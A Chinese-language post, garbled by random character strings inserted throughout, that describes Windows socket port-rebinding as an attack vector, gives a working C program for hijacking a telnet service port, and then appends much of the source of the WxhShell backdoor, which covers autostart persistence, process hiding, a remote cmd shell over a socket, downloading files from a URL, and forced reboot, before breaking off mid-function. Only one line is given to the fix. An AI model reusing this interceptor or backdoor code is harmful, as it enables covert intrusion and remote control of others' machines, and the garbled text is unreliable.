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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: sE:M@`2L s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g/P+ZXJ NWMFtT saddr.sin_family = AF_INET; [R=yF ~- Nv(9N-9r saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~8GF Q ph XZ^^%*ew bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l|kSsP:GO 5*Y^\N 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9~p[ c(!6^qk]!` 这意味着什么?意味着可以进行如下的攻击: ]ooIrY8 )}"wesNo". 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _#r+ !e E`?3PA8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [co% :xJu gP0LCK> 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Bj1?x {]%0lf: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 \l9qt5rS Dey<OE& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @GdbTd ";3zXk[# 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Qa-K$dm% sj HrPs e 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I'uSp-Sfy mt,OniU= Q #include 0=AVW`J #include BT}!W`
#include !,6c ~ w #include ~N<4L>y< DWORD WINAPI ClientThread(LPVOID lpParam); z([ v%zf int main() 7f0lQ { K`u(/kz/< WORD wVersionRequested; `HZ;NRr DWORD ret; |}(`kW WSADATA wsaData; FaDjLo2'o BOOL val; mP0yk| SOCKADDR_IN saddr; m^ tFi7c SOCKADDR_IN scaddr; y:~ZLTAv int err; rA%usaW SOCKET s; -o$QS, SOCKET sc; '}B+r@YCN int caddsize; Q9Kve3u-i HANDLE mt; mi,E- DWORD tid; P<M?Qd1. wVersionRequested = MAKEWORD( 2, 2 ); $W!!wN=B err = WSAStartup( wVersionRequested, &wsaData ); kBD>-5Sn_T if ( err != 0 ) { $5ak_@AC printf("error!WSAStartup failed!\n"); P)Rh=U return -1; j g8fU } 57umx`m saddr.sin_family = AF_INET; jRJn+ i}.&0Fp //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lT&eJO~?5 { g/0x,-Z saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /v-6WSN saddr.sin_port = htons(23); }\\KYyjY if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0K`#>}W#X { eU".3`CtY printf("error!socket failed!\n"); 4KIRHnaj return -1; '>cKH$nVC} } a@@)6FM val = TRUE; * +"9%&? //SO_REUSEADDR选项就是可以实现端口重绑定的 2jR r,Nl if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /OLFcxEWh { cx&>#8s& printf("error!setsockopt failed!\n"); }o(zj=7 return -1; MvK !u } PIu1+k.r? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yku5SEJ\ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0
q}*S~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vms|x wb $~VRza 8Q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K
1 a\b" { lij.N)E ret=GetLastError(); bdC8zDD printf("error!bind failed!\n"); mS(fgq6 return -1; UNom- } r:f[mk"-"A listen(s,2); S-
pV_Ff while(1) K/i*w<aPb7 { `6lr4Kk @R caddsize = sizeof(scaddr); V^3L3|k //接受连接请求 ]xRM&=)< sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \m(VdE if(sc!=INVALID_SOCKET) K{|p~B { 2R;}y7{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @D{KdyW if(mt==NULL) PsnWWj?c { @k,z:~[C= printf("Thread Creat Failed!\n"); /Z~<CbKKl break; wy0tgy(' | } 8$6Y{$&C } `j,Yb]~s79 CloseHandle(mt); x3 q]I 8q } ^@3sT,M,S closesocket(s); :Av#j@# WSACleanup(); ]s'Q_wh_-v return 0; yeXx',]a } A
mNW0.} DWORD WINAPI ClientThread(LPVOID lpParam) #gRM i)(F { l_o@miG/ SOCKET ss = (SOCKET)lpParam; }+.}J SOCKET sc; [x+FcXb unsigned char buf[4096]; +S>j0m<* SOCKADDR_IN saddr; Al}6q{E9+8 long num; `UD/}j@ DWORD val; /|tJ6T1LrB DWORD ret; AK'[c+2[ //如果是隐藏端口应用的话,可以在此处加一些判断 Fq|Ni$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 z\K"Rg~J saddr.sin_family = AF_INET; yE:+Lo`> saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;j[>9g saddr.sin_port = htons(23); h"X;3b^ m if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &,zq%;-f { kD=WO4} printf("error!socket failed!\n"); sDPs
G5q< return -1; 2oVSn" } O(fM?4w val = 100; 7gf05Z'= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hQYL`Dni { D{GfLib"U ret = GetLastError(); F*IzQ(#HW return -1; 11o.c; } vdAr|4^qB if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #|L8tuWW { +R3k-' > ret = GetLastError(); 39:bzUIF return -1; ?9e_gV{&; } O_`VV* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
}Yb[ { ^E;kgED5 printf("error!socket connect failed!\n"); U#lCj0iUt, closesocket(sc); A P)L:7w'e closesocket(ss); Bt@^+vH ~ return -1; Q# ~Q=T'< } _K]_
@Ivh while(1) |2O]R s { 24
[+pu //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f(/lLgI( //如果是嗅探内容的话,可以再此处进行内容分析和记录 6 Q%jA7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8IlunJ num = recv(ss,buf,4096,0); Gr*r=s if(num>0) 6wBx;y
| send(sc,buf,num,0); QoI3>Oj= else if(num==0) W0dSsjNio break; zZL6z4g num = recv(sc,buf,4096,0); .c8g:WB< if(num>0) k.uH~S _ send(ss,buf,num,0); SF7\<'4\N else if(num==0) 3O,+=?VK break; *=8JIs A>! } n6wV.?8
closesocket(ss); \y97W&AN closesocket(sc); gH12[Us'` return 0 ; /sx@$cvW } JZ)RGSG i )#?"Gjf~ j'Gt&\4 ========================================================== PQy4{0 _ -.1y(k^4E 下边附上一个代码,,WXhSHELL '*K :
lx }tRm] w ========================================================== 2L3)#22m* /5S30 |K #include "stdafx.h" sd*p/Q|4 h
k]
N6+@ #include <stdio.h> 9B{k , 1
#include <string.h> i+A3~w5c #include <windows.h> ~-ia+A6GIV #include <winsock2.h> ]^yFaTfS #include <winsvc.h> 8[a=OP #include <urlmon.h> <^VJy5> [)H&'5 +F #pragma comment (lib, "Ws2_32.lib") ,|3MG",@@h #pragma comment (lib, "urlmon.lib") ^X=arTE &*##bA"!B #define MAX_USER 100 // 最大客户端连接数 NSxoF3 #define BUF_SOCK 200 // sock buffer PRx8I
. #define KEY_BUFF 255 // 输入 buffer 2<i!{;u$qL '=39+*6? #define REBOOT 0 // 重启 I@T8Iv= #define SHUTDOWN 1 // 关机 Z_$%. C^O
VB- #define DEF_PORT 5000 // 监听端口 =O&%c%~q (7vF/7BZ|_ #define REG_LEN 16 // 注册表键长度 \K5DOM "# #define SVC_LEN 80 // NT服务名长度 nL5cK:
CuFSeRe // 从dll定义API U bXh,QEG* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {&cJDqz5= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^NRl// typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M\o9I typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZT'`hK_up M||+qd W! // wxhshell配置信息 *{YlN}vA struct WSCFG { Bc(Y(X$PK int ws_port; // 监听端口 0]'7_vDs| char ws_passstr[REG_LEN]; // 口令 \.0^n3y int ws_autoins; // 安装标记, 1=yes 0=no VU#`oJ:{ char ws_regname[REG_LEN]; // 注册表键名 3-[q4R char ws_svcname[REG_LEN]; // 服务名 7r7YNn/? char ws_svcdisp[SVC_LEN]; // 服务显示名 'H3^e} char ws_svcdesc[SVC_LEN]; // 服务描述信息 @ju@WY45$^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;ic3).H int ws_downexe; // 下载执行标记, 1=yes 0=no |LRedD7n char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" {
d=^}-^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iJ-23_D #H)vK"hF }; tClg*A;|B lNy.g{2f<m // default Wxhshell configuration ;!=G struct WSCFG wscfg={DEF_PORT, ,$@bE "xuhuanlingzhe", .7Dtm<K# 1, lsJSYJG& "Wxhshell", LzG%Z1` "Wxhshell", Z~AO0zUKY "WxhShell Service", AS!?q "Wrsky Windows CmdShell Service", n4s+>|\M "Please Input Your Password: ", ./-5R|fN 1, P9GN}GN%v " http://www.wrsky.com/wxhshell.exe", n D0K).=Q "Wxhshell.exe" *M[?bk~~ }; aI%g2q0f 9eGyyZg // 消息定义模块 4qO+_!x{) char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6w*dKInG[- char *msg_ws_prompt="\n\r? for help\n\r#>"; x/NfZ5e0X char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; O(#)m>A char *msg_ws_ext="\n\rExit."; &T+atL `N char *msg_ws_end="\n\rQuit."; %D UH@j char *msg_ws_boot="\n\rReboot..."; Z 6t56"u char *msg_ws_poff="\n\rShutdown..."; "fQ~uzg=" char *msg_ws_down="\n\rSave to "; Pnk5mK$ p2Z?T}fa}& char *msg_ws_err="\n\rErr!"; "An,Q82oHf char *msg_ws_ok="\n\rOK!"; z#zI1Am(O NvD7Krqwa char ExeFile[MAX_PATH]; Qk0R a_ int nUser = 0; V39g,=`b% HANDLE handles[MAX_USER]; ?[VM6- & int OsIsNt; &c` nR< &SIq2>Q A SERVICE_STATUS serviceStatus; dV*]f$wQ SERVICE_STATUS_HANDLE hServiceStatusHandle; +dWDxguE{w Y4OPEo 5o // 函数声明 e{h<g>7 int Install(void); rDD:7*z int Uninstall(void); Rvkedb int DownloadFile(char *sURL, SOCKET wsh); ^T( .k= int Boot(int flag); T%x}Y#U'` void HideProc(void); |Z|-q"Rf int GetOsVer(void); |+"<wEKI int Wxhshell(SOCKET wsl); niiA7Ux void TalkWithClient(void *cs); ySk R>y int CmdShell(SOCKET sock); c CSs int StartFromService(void); 5Iy|BRU(% int StartWxhshell(LPSTR lpCmdLine); 2n,*Nd` ~De"? VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +s"hqm VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,QOG!T4 +cD<:"L'g // 数据结构和表定义 #=D) j SERVICE_TABLE_ENTRY DispatchTable[] = dl.N.P7}4 { dah[:rP,n{ {wscfg.ws_svcname, NTServiceMain}, b1?#81 {NULL, NULL} teOe#* }; s6ZuM/Q jG6]A"pr // 自我安装 H ;7(}:. int Install(void) @D)al^]x6 { b}OY4~ Y4 char svExeFile[MAX_PATH]; ~9?cn HKEY key; Av @b!iw+ strcpy(svExeFile,ExeFile); Y_Eb'*PY &qLf@1AD // 如果是win9x系统,修改注册表设为自启动 q?,).x
nN if(!OsIsNt) { R]Vt Y7}i, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%&$Tz1" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -B>++r2A^ RegCloseKey(key); eiuSvyY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D_?K"E=fw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )r';lGh2# RegCloseKey(key); &w 4?)# return 0; "MxnFeLM# } \Lq h j } ,K>I%_!1 } ZkgV_<M| else {
*aX F5S <i<J^-W // 如果是NT以上系统,安装为系统服务 ,4hJT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MtM%{=&_ if (schSCManager!=0) h-g+g#* { 6f;fx}y SC_HANDLE schService = CreateService 4)E_0.C ( #w;v0&p schSCManager, rI{=WPI&WU wscfg.ws_svcname, "B8Q: wscfg.ws_svcdisp, Tb A}BFT` SERVICE_ALL_ACCESS, D,m]CK' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;1#H62Z* SERVICE_AUTO_START, c@YI;HS_g SERVICE_ERROR_NORMAL, 5Y?L>QU" svExeFile, *v?`<)P# NULL, K7$x<5 +) NULL, yZd +^QN NULL, H!vax)%-\ NULL, xE1 eT, NULL liEPCWl& ); &vHoRY if (schService!=0) w|3z;-#Q; { L%">iQOG# CloseServiceHandle(schService); P<oehw'> CloseServiceHandle(schSCManager); S(QpM.9* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dCb`xR} strcat(svExeFile,wscfg.ws_svcname); |
H!28h if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Kj V:| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "BD~xP( RegCloseKey(key); %mL-$* return 0; YTAmgkF\4 } k")R[)92b? } Z/Eb: CloseServiceHandle(schSCManager); <wZQc } =5aDM\L$& } JROM_>mC ?:Mr=]sD return 1; Qg^cf<X{i } Kfm5i Q aF8fqu\ // 自我卸载 SH3|sXH< int Uninstall(void) _AYXc] 4% { OtSL*'7> HKEY key; c/Qt Ot mt9.x if(!OsIsNt) { Pf*^ZB% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )S`jFQ1 RegDeleteValue(key,wscfg.ws_regname); ktI/3Mb@ RegCloseKey(key); n 9\
C2r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tc_286'x RegDeleteValue(key,wscfg.ws_regname); j0Bu-sO$w RegCloseKey(key); W8Q|$ZJ88F return 0; iM2W] } 4!$s}V=6 } ;V^ 112|C } BLN^ <X/ else { ilK-?@u+ zs%Hb48V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vesJEaw7 if (schSCManager!=0) &-s'BT[PGq { Tskq)NU SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pa(^}n| if (schService!=0) `IOs-%s { "@evXql3` if(DeleteService(schService)!=0) { OQ8 bI=?[x CloseServiceHandle(schService); m#ZO`W CloseServiceHandle(schSCManager); U ?'vXa return 0; [qdRUV' } ~jK{ ,$:= CloseServiceHandle(schService); t(GR)&>.2 } &P.4(1sC CloseServiceHandle(schSCManager); wpN k+; } GGe,fb<k } ;?W|#*=R }>)@WL:q return 1; lJ+0P2@h* }
x8!ol2\`< ^BUYjq%(` // 从指定url下载文件 c;{Q,"9U int DownloadFile(char *sURL, SOCKET wsh) 6Ztq { F&])P-
!3 HRESULT hr; c<uN"/gi* char seps[]= "/"; '#LQN<"4 char *token; >:zK?(qu,N char *file; :}r. char myURL[MAX_PATH]; uqM yoIc char myFILE[MAX_PATH]; x&^_c0fn tBNoI strcpy(myURL,sURL); 2LNRtW* token=strtok(myURL,seps); a,3j,(3 while(token!=NULL) cHcmgW\4 { T_X6Ulp file=token; mK[)mC
_8 token=strtok(NULL,seps); \(VTt|}By$ } bfA=3S"0 _FXZm50\g{ GetCurrentDirectory(MAX_PATH,myFILE); ]E_h strcat(myFILE, "\\"); <WjF*x p strcat(myFILE, file); Vm5c+; send(wsh,myFILE,strlen(myFILE),0); m~@;~7I x send(wsh,"...",3,0); ?s\
OUr hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3ia^\ jw if(hr==S_OK) ?I/qE='* return 0; z>jUR,!GT else }K1JU`Lz return 1; ?|WoIV. !iH-#B- } 4&xZ]QC)O5 DVah // 系统电源模块 AgOp.~*Z~V int Boot(int flag) 5~Cakd]> { H~GQ;PhRx HANDLE hToken; A
6OGs/:& TOKEN_PRIVILEGES tkp; Na$Is'F&p b8$gx:aJ>$ if(OsIsNt) { CSGz3uC2D OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Rp*R:3
C LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~ zil/P8 tkp.PrivilegeCount = 1; RletL) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QYa(N[~a AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '; = f if(flag==REBOOT) { rEHk w
' if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^zE wA return 0; F^N82 } ]Pry>N3G5 else { h@:TpE+N if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ct2j ZqCDo return 0; #O$ } AX?fuDLs } I8+~ &V} else { [cTe54n if(flag==REBOOT) { %STliJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !O.[PH(,* return 0; -RO7
'm0 } r|PFw6 else { /&CmO>^e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d)@<W1; return 0; G P:FSprP } ?."&MZ } ME;n^y\8 D?C)BcN return 1; aO@7O* } %FS$zOsgGK
}8@M@ // win9x进程隐藏模块 N=5)fe%{4 void HideProc(void) hty0Rb[dH { XYS'.6k( aFe`_cnG HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %1.]c6U if ( hKernel != NULL ) \A#1y\ok { A#nun pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :8 jhiB) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MZTx:EN! FreeLibrary(hKernel); yu6`66h) } -+7uy.@cS ^qg?6S4 return; t6,wjN-J } %V1Z~HC P6 ;'Sza // 获取操作系统版本 Di@GY! int GetOsVer(void) $we]91(:: { {/X4(;~0 OSVERSIONINFO winfo; 4q'B<7{Q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :N<.?%Kf GetVersionEx(&winfo); s:2|c]wQ#R if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) za:a)U^n return 1; 'WI^nZM else ybeKiv9 return 0; Yly@ww9t| } ,h{A^[yl {&P
FXJ // 客户端句柄模块 ? Zc"C int Wxhshell(SOCKET wsl) Rx*BwZ { `%E8-]{uS SOCKET wsh; X=6y_^ struct sockaddr_in client; \S*$UE]uG DWORD myID; ,bM-I2BR ly4s"4v while(nUser<MAX_USER) P7 ]z { Q~MC7-n> int nSize=sizeof(client); Q.9qImgN wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5GA\xM- if(wsh==INVALID_SOCKET) return 1; /^$UhX9v 5aBAr handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A%Xt|=^_ if(handles[nUser]==0) Yz4_vePh+5 closesocket(wsh); N%7{J else |.F nUser++; op"$E1+ } !" JfOu WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yMZHUd QDTBWM% return 0; 8>7RxSF } Bd^"=+c4 Fhv2V,nZ< // 关闭 socket T1`|~Z?g- void CloseIt(SOCKET wsh) C@Nv;;AlU { +&X%<S
W closesocket(wsh); -w;(cE nUser--; v}sY|p" ExitThread(0);
Og2vGzD } p1D[YeF4 cO\- // 客户端请求句柄 t ?h kL void TalkWithClient(void *cs) F,GN[f- { Uz608u ?!=iu!J SOCKET wsh=(SOCKET)cs; }C
/] char pwd[SVC_LEN]; :^'O}2NP char cmd[KEY_BUFF]; b$Hz3TJ( char chr[1]; >S1)YKgz int i,j; 'q>2t}KG `^(jm while (nUser < MAX_USER) { `k;KBW ZUp\Ep} if(wscfg.ws_passstr) { Y4F6qyP)" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !)qQbk //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e8h,,:l3j //ZeroMemory(pwd,KEY_BUFF); '~ 4pl0TWc i=0; T"T;`y@( while(i<SVC_LEN) { 1AHx"e,;L g7CXlT0Q6 // 设置超时 <e)o1+[w fd_set FdRead; a`E*\O'd struct timeval TimeOut; _Cy:]2o FD_ZERO(&FdRead); v)f7};"z FD_SET(wsh,&FdRead); `_5GG3@Ff TimeOut.tv_sec=8; Z,c,G2D TimeOut.tv_usec=0; :Pq.,s int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 659v\51* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1/ZR*fa ]DvO:tM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |2`"1gt pwd =chr[0]; H]\Zn%.# if(chr[0]==0xd || chr[0]==0xa) { 0rokR&Y-d pwd=0; 9p@C4oen break; ?/M_~e.P } m7=1%6FN3 i++; #FYAV%pi } L{ho*^b fd8!KO // 如果是非法用户,关闭 socket VW@ x=m if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p T[gdhc } bm}6{28R ~%ozgzr^ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U>S`k6 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "R9Yb,tIN u/Fj'*M while(1) { V&Mf:@y PfG`C5
d ZeroMemory(cmd,KEY_BUFF); ,WWj-X|+= ]lS@}W\ // 自动支持客户端 telnet标准 Q0_>'sEM j=0; Ybg-"w while(j<KEY_BUFF) { u-DK_^v4M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [U\(G cmd[j]=chr[0]; p"`% if(chr[0]==0xa || chr[0]==0xd) { c 5`US cmd[j]=0; 68R1AqU_ break; ~V)?>)T } ~S; Z\ j++; %*z-PT22 } mzD^Y<LTd zz_[S{v!# // 下载文件 ?4z8)E9Ju if(strstr(cmd,"http://")) { %G?K@5?j? send(wsh,msg_ws_down,strlen(msg_ws_down),0); XTqm] if(DownloadFile(cmd,wsh)) kGN||h send(wsh,msg_ws_err,strlen(msg_ws_err),0); pKJK9@Ad else LD (C\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V/"}ku } $v}<' else { Ulqh@CE) $_j1kx$ switch(cmd[0]) { y/_wx(2 vt]F U< // 帮助 }Ia 0"J4 case '?': { 80ZnM%/} send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y/U{Qc\6 break; ivrXwZ7jT } %*)2s,8 // 安装 W"hcaa,& case 'i': { ?\H.S9CZ^ if(Install()) $zkH|]
zZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); I__ 4I{nI else ])y{BlZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zW4O4b$T break; =^h~!ovj: } <%bw/ // 卸载 _zC (J case 'r': { (TSqc5^H if(Uninstall()) ~!+h?[miV send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'pP-rdx else `1p 8C% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tfiqr|z break; $V8vrT#:
} -!*p*3|03| // 显示 wxhshell 所在路径 Q
e1oT) case 'p': { cfoYnM char svExeFile[MAX_PATH]; B}*V%}:) strcpy(svExeFile,"\n\r"); -G ?%QG`v strcat(svExeFile,ExeFile); w;yx<1f send(wsh,svExeFile,strlen(svExeFile),0); f\ "`7 break; l+
T,2sd } s3lJu/Xe{ // 重启 @?2n]n6 case 'b': { g0#q"v55 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )&Z>@S^ if(Boot(REBOOT)) K&pM o. send(wsh,msg_ws_err,strlen(msg_ws_err),0); dc^Vc{26Z else { }.%s
xw closesocket(wsh); PM~*|(fA ExitThread(0); ZTf_#eS$ } 'M%5v'$y break; dl[ob,aCK } boQ)fV" // 关机 rB]W,8~% case 'd': { !p%@Deu send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F+j O*F2h if(Boot(SHUTDOWN)) fuSq ={] send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hc!!tbBQ else { V;*pL1 closesocket(wsh); 3@X7YgILU ExitThread(0); k\(4sY M } =g0*MZ;" break; ^!@*P,'I } ]Ti $ztJ // 获取shell cS~!8`Fwy case 's': { _Y
YP4lEL CmdShell(wsh); mrnxI#6 closesocket(wsh); _'*DT=H'U ExitThread(0); Z>{*ISvpq break; x*mc - &N } )y\BY8 // 退出 T0L+z/N_m. case 'x': { A#:8X1w send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5fq.*1f CloseIt(wsh); cqg=8$ RB break; {(HxG4~ } 8*k oxS // 离开 G^"H*a case 'q': { ]IXAucI] send(wsh,msg_ws_end,strlen(msg_ws_end),0); FrR9{YTA. closesocket(wsh); j7sU0"7^ WSACleanup(); OPJgIU% exit(1); C5B=NAc break; Dh8(HiXf: } -M`D> } CveWl$T12 } /Hk07:"c ;E2kT
GT // 提示信息 XZBj=2~-3 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j&llrN } AFtCqq#[ } El1:?4; M5rwoyn return; (+$ol'i } \6c8z/O7 I3ho(Kdi // shell模块句柄 gL,"ef+nM int CmdShell(SOCKET sock) p[;8 { b.6ZfB,+G STARTUPINFO si; JB'qiuhab ZeroMemory(&si,sizeof(si)); <"NyC?b+G si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _s@bz|yqw si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (l;C%O7* PROCESS_INFORMATION ProcessInfo; YZ{jP?x char cmdline[]="cmd"; s9:%s*$u CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l)iv\j return 0; %30T{n: } I W8. g?$e^ls // 自身启动模式 z-)*Q int StartFromService(void) P[1m0!,B { #_,uE9 typedef struct WxDb3l~ { 7n
[12: DWORD ExitStatus; @C<d2f|8 DWORD PebBaseAddress; &V FjHW DWORD AffinityMask; |Pj9ZG# DWORD BasePriority; V[To,f ULONG UniqueProcessId; ylT6h_z1[Y ULONG InheritedFromUniqueProcessId; mj,qQ=n;p } PROCESS_BASIC_INFORMATION; kYTOldfY2 E.U0qK], PROCNTQSIP NtQueryInformationProcess; AAdD\%JZ _p$"NNFN static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HcDyD0;L. static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t0I>5#*WU lxCX-a`@p HANDLE hProcess; zv|M*Wu PROCESS_BASIC_INFORMATION pbi; +0dQORo O'@m4@L HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0\ZaMu # if(NULL == hInst ) return 0; wFn@\3%l` AE]i
